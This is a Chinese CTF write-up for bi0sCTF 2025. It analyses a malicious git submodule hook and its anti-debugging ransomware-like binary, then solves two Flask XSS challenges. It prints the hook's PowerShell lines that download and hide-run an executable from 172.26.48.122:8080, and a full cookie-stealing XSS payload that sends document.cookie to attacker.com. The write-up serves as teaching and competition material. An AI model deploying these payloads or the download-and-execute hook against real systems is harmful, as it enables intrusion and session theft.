通过FTK Imager挂载ad1文件我们可以注意到.git目录下的config文件有如下一段比较奇怪的内容
[core]
repositoryformatversion = 0
filemode = false
bare = false
logallrefupdates = true
ignorecase = true
[submodule]
active = .
[remote "origin"]
url = [email protected]:codeberg529/OpenWallet.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
[submodule "x/y"]
url = https://github.com/codeberg529/hooks.git
其引入了一个陌生的github仓库 https://github.com/codeberg529/hooks
https://github.com/codeberg529/hooks/blob/master/y/hooks/post-checkout#L7
通过调查这个恶意仓库可以知道其一个后门会从http://172.26.48.122:8080/magix.exe下载一个名为win.exe的后门并且存防于C:ProgramDataMicrosoftwin.exe 并且会执行这个后门
sleep5s
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri http://172.26.48.122:8080/magix.exe -OutFile 'C:ProgramDataMicrosoftwin.exe'"
sleep15s
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Start-Process 'C:ProgramDataMicrosoftwin.exe' -WindowStyle Hidden"
提取win.exe后进行分析,所有的winapi调用都被隐藏,在TLS回调函数中解密了一个奇奇怪怪的字符串,接着调用一个函数,会导致程序崩溃,不太清楚为什么,我这里直接修改rip跳过该函数了
跳过反调试函数后会调用RaiseException 触发一个异常,在except块中执行的才是真正的逻辑
接下来走到一个很奇怪的函数
他会异或两个一样的字符,然后指针指向这个字节,造成了空指针异常
在下面几条指令都打上断点,运行程序,断在了下面的mov指令上,结合后面的分析可以看出来,整个程序的真实逻辑都是由许多异常来触发连接起来的
接着解密了一个字符串molaga_bajji_<<3 下面依旧是一个反调试函数,直接跳过
接下来执行main函数,其中会解密一个fake flag晃你一下
b0is{d3fin1t3ly_l00k_0ut_f0r_th4t_f4k3_stuff_0ut_th3r3!}
步过前面的逻辑,在最下面又触发了除0异常
按照这个流程一直调试下去,中间同样插入了许多的反调试函数,解密了另一个字符串
nothing_beats_the_og_idli_sambar
最终走到了对文件内容加密的地方,其实就是用了前面解密出来的两个字符串作为key和iv,使用AES加密了文件内容
解密文件
最终flag为:
bi0sctf{172.26.48.122:8080_OAguIdjxaYqoqOvXeLxmS94zi772OisontPrmKtJfkC1ZwlpLE}
Web
My Flask App
一道xss题。
由于较为严格的 CSP 设置,任何内联脚本都无法运行,仅能加载和执行同源的脚本文件;允许使用 eval。
users.js 中刚好有这样一个 eval 可用:
document.addEventListener("DOMContentLoaded", asyncfunction() {
constsleep = (ms) => newPromise(resolve =>setTimeout(resolve, ms));
// get url serach params
const urlParams = newURLSearchParams(window.location.search);
const name = urlParams.get('name');
if (name) {
fetch(`/api/users?name=${name}`)
.then(response => response.json())
.then(data => {
frames = data.map(user => {
return`
<iframe src="/render?${Object.keys(user).map((i)=> encodeURI(i+"="+user[i]).replaceAll('&','')).join("&")}"></iframe>
`;
}).join("");
document.getElementById("frames").innerHTML = frames;
})
.catch(error => {
console.log("Error fetching user data:", error);
})
}
if(window.name=="admin"){
js = urlParams.get('js');
if(js){
eval(js);
}
}
})
users.js 中首先根据 name 参数(可控)查询 /api/users,随后以查询结果构造多个 iframe。如果满足 window.name == "admin",就会用 eval 执行 js 参数的值。
最简单的想法是,在页面中插入一个 <iframe name="admin"></iframe>,通过 DOM Clobbering 覆盖 name;然而,且不论能否做到插入任意的 iframe 元素,更关键的问题是,index.js 和 users.js 先后被 users.html 加载,而前者中一开始就执行了 window.name="notadmin";。既然 window.name 已被显式设置,浏览器就不会再将 DOM 元素挂载到其上了,DOM Clobbering 无法覆盖之。因此,必须要想办法避开 index.js 而只加载 users.js,才有可能执行这个 eval。
把目光转向 /render 接口。接受 name 和 bio 参数,后者未作转义,可以注入。
<html>
<head>
<title>Profile</title>
<linkrel="stylesheet"type="text/css"href="{{ url_for('static', filename='style.css') }}">
</head>
<body>
<divclass="container">
<h1>User Profile</h1>
<pid="name">{{ request.args.get('username') }}</p>
<pid="bio">{{ request.args.get('bio') |safe }}</p>
</div>
</html>
根据 users.js,/render 页面的参数来自数据库的查询结果,后者又由 /update_bio 接口更新:
def update_bio():
username = session.get("username")
ifnot username or username == "admin":
return jsonify({"error": "Invalid user"}), 401
data = request.json
if"username"indata or"password"indata:
return jsonify({"error": "Cannot update username or password"}), 400
bio = data.get("bio", "")
ifnot bio or any(
charnot in"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 "
forchar in bio
):
return jsonify({"error": "Invalid bio"}), 400
result = users_collection.update_one({"username": username}, {"$set": data})
if result.matched_count > 0:
return jsonify({"message": "Bio updated successfully"}), 200
else:
return jsonify({"error": "Failed to update bio"}), 500
此处数据库用的是 mongo,最终,bio 会在 /render 中被不加转义地渲染到页面。
注意到,尽管此处对 bio 做了比较严格的限制,但最终插入到数据库的是完整的 data,即 request.json。
如果我们构造如下的 payload,以 hacker 用户身份提交:
{"bio":"111","&bio":"222"}
那么在 `users.js` 中拼接 iframe 处,最终会拼接出:
<iframesrc="/render?bio=111&username=hacker&bio=222"></iframe>
由于不完备的拼接逻辑,前一个经过检查的 `bio` 最终不会被使用到,而后一个未经检查的 `&bio` 我们完全可控,由此我们可以在 `/render` 中插入任意内容。
由于最开始提到过的 CSP 限制,在 `/render` 中插入的内联脚本不会被执行;但 iframe 照常。因此有如下思路:
1. 在 `/render` 中插入一个新的 iframe,`name` 为 `admin`
2. 使 iframe 内容包括 `users.js`,但不包括 `index.js`
3. 请求参数包含 js,值为偷 cookie 的脚本
要求 2 可以使用 iframe 的 `srcdoc` 属性实现;要求 3 可以通过为 iframe 添加一个 `<meta>` 跳转来实现。
最终 payload:
{"bio":"a","&bio":"<iframe name=admin srcdoc="<meta http-equiv=refresh content='1;url=about:srcdoc?js=eval(atob(/dG9wLmxvY2F0aW9uID0gWyIvL2F0dGFja2VyLmNvbSIsZG9jdW1lbnQuY29va2llXQ==/.source))'><script src=/static/users.js></script>"></iframe>"}
base64 解码后为:
top.location = ["//attacker.com",document.cookie]
注意 cookie 只在顶级页面中,所以使用 top.location 强制最外层窗口跳转。
My Flask App Revenge
两道题源码做 diff:
第一处变化是 `render.html` 中加载了 `index.js`。
第二处变化在 `users.js` 中,iframe 拼接变成了:
<iframe src="/render?${Object.keys(user).map((i)=> encodeURI(i+"="+user[i]).replaceAll('&','%26')).join("&")}"></iframe>
区别在于,revenge 中将 & 替换成了 %26,而原始版本仅是删除 &。
现在我们无法使用 &bio 来直接注入了,但仍然可以绕过:
{"bio":"111","amp;bio":"222"}
该 payload 经过拼接后会产生:
<iframesrc="/render?bio=111&bio=222"></iframe>
& 构成了 & 的实体编码,依然可以绕过过滤控制 bio 参数。
后续的思路并无变化,新增的 index.js 不影响深层的 iframe 内部。
🎉欢迎简历投递 [email protected]
原文始发于微信公众号(r3kapig):bi0sCTF 2025 Writeup by r3kapig
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论